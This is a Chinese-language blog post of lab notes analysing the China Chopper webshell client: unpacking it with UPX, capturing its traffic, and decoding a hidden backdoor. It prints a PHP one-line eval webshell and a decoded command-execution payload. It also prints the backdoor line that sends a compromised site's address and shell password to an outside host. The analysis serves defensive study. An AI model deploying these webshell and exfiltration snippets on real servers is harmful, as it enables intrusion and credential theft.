当前位置: 首页 > article >正文

分析软件及其隐藏后门实验笔记

软件后门和软件加壳是什么

        软件后门可以理解为在软件中植入病毒等具有后门功能的代码,通过运行软件来对用户的系统造成破坏、窃取机密等。

        软件加壳一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码,这样做的目的是隐藏程序真正的OEP(入口点),防止被破解。大多数病毒就是基于此原理。加壳的程序需要阻止外部程序或软件对加壳程序本身的分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。这种技术也常用来保护软件版权,防止软件被破解。但对于病毒,加壳可以绕过一些杀毒软件的扫描,从而实现它作为病毒的一些入侵或破坏的一些特性。

分析工具

winsock expert

        一个用来监视和修改网络发送和接收数据的程序,WinSock Expert可以用来帮助您调试网络应用程序,分析网络程序的通信协议(如分析OICQ的发送接收数据),并且在必要的时候能够修改发送的数据

UPX

        UPX (the Ultimate Packer for eXecutables)是一款先进的可执行程序文件压缩器,压缩过的可执行文件体积缩小50%-70% ,这样减少了磁盘占用空间、网络上传下载的时间和其它分布以及存储费用。 通过 UPX 压缩过的程序和程序库完全没有功能损失和压缩之前一样可正常地运行,对于支持的大多数格式没有运行时间或内存的不利后果。

Wireshark

        Wireshark是免费的网络协议检测分析程序。让您经由程序抓取运行的网站的相关资讯,包括每一封包流向及其内容、资讯可依操作系统语系看出,方便查看、监控TCP session动态等等。

PEID

        一款专业很好用的查壳软件,几乎可以侦测出所有的壳,其数量已超过470 种PE文档 的加壳类型和签名,另外还可识别出EXE文件是用什么语言编写的,比如:VC++、Delphi、VB或Delphi等。

分析方法

         分析软件的方法可以有静态分析和动态分析,这里的实验是分析中国菜刀。

静态分析

        在peid中打开中国菜刀,可以看出来加壳了:

        通过upx对它进行脱壳处理:

        脱壳处理后,在用peid检查,发现已经去壳了,并且peid告诉我们它是用VC++6.0写的:

         把它的可见字符串打印出来,并且有目的地寻找一些字符,比如chopper:

         通过命令findstr查找

动态分析

         在靶机上写一个php一句话放在网站的根目录下,如1.php,内容为:

<?php @eval($_POST['chopper']);?>

        然后在攻击机打开wireshark准备监听数据包,同时使用菜刀进行连接:

 

 

        wireshark监听到了这样的数据包:

        这表示客户端在80端口上,以HTTP POST方式通讯。可以追踪tcp流来查看整个tcp数据交互过程:

         红色部分为攻击机POST提交控制命令的内容,蓝色部分为靶机返回结果。可以看到一共有z0,z1,z2三个参数,用burp解码模块,先使用url解码,再进行base64解码:

        明文如下:
z0=@ini_set("display_errors","0")@set_time_limit(0)@set_magic_quotes_runtime(0)echo("->|");;$p=base64_decode($_POST["z1"]);$s=base64_decode($_POST["z2"]);$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c '{$s}'":"/c {$s}";$r="{$p} {$c}";@system($r." 2>&1");;echo("|<-");die();
z1=cmd
z2=cd /d "C:\phpstudy\PHPTutorial\WWW\"&whoami&echo [S]&cd&echo [E]
        z1的值是cmd,z2的值是cd /d "C:\phpstudy\PHPTutorial\WWW\"&whoami&echo [S]&cd&echo [E]。该操作的意思就是执行输入的cmd命令,列出当前用户与当前目录,执行结果如下所示:

分析后门

         用抓包软件WSockExpert选择菜刀,并连接菜刀:

        在菜刀中的操作会在WSockExpert里面记录:

 

         这里也需要进行解码,先URL解码再base64解码,一次URL解码一次base64解码之后还存在密文,需要继续解码:

        最后得到明文:

if($_COOKIE['Lyke']!=1){setcookie('Lyke',1);@file('http://www.7jyewu.cn/hack.php?Url='.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'].'&Pass='.key($_POST));}

        这里的http://www.7jyewu.cn/hack.php就是这个菜刀的后门地址。

        HTTP_HOST就是拿到shell的网站,REQUEST_URI就是shell的URI,Pass就是菜刀连接一句话时的密码。这段代码的大概意思就是,会将我们拿到shell的网站的地址,密码等都通过后门传送给这个网站的所有者。这样就分析出了这个菜刀是存在后门的。 

         对有后门的软件,可以删除软件里面的后门url连接并保存,在不影响正常使用的情况下清除后门。


http://www.kler.cn/a/13374.html

相关文章:

  • 通过使用生成对抗市场模型改进基于强化学习的交易的泛化
  • FPGA基于XDMA实现PCIE X8的HDMI视频采集 提供工程源码和QT上位机程序和技术支持
  • 开源Qt Ribbon控件——SARibbon的布局思路及介绍
  • nssctf web 入门(10)
  • 跨平台科学应用程序:QtiPlot 1.X Crack
  • MySQL数据库从入门到精通学习第2天(创建数据库)
  • 说过的话就一定要办到 - redo日志
  • beef-xss浏览器劫持
  • tomcat作业
  • Ceph入门到精通-Ceph 服务管理之OSD服务
  • 带有时钟使能和同步清零的D触发器
  • 基于Java+SpringBoot+Vue前后端分离仓库管理系统设计实现
  • leetcode-数据库题
  • C语言实现栈--数据结构
  • GitHub新手用法详解【适合新手入门-建议收藏!!!】
  • 如何为Google Play的应用制作宣传视频
  • 安卓SDK和安卓版本的对应关系
  • 《安富莱嵌入式周报》第310期:集成大语言模型的开源调试器ChatDBG, 多功能开源计算器,M7内核航空航天芯片评估板, Zigbee PRO规范
  • mmsegmentation 训练自己的数据集
  • 2023年3月 青少年软件编程(C 语言) 等级考试试卷(一级)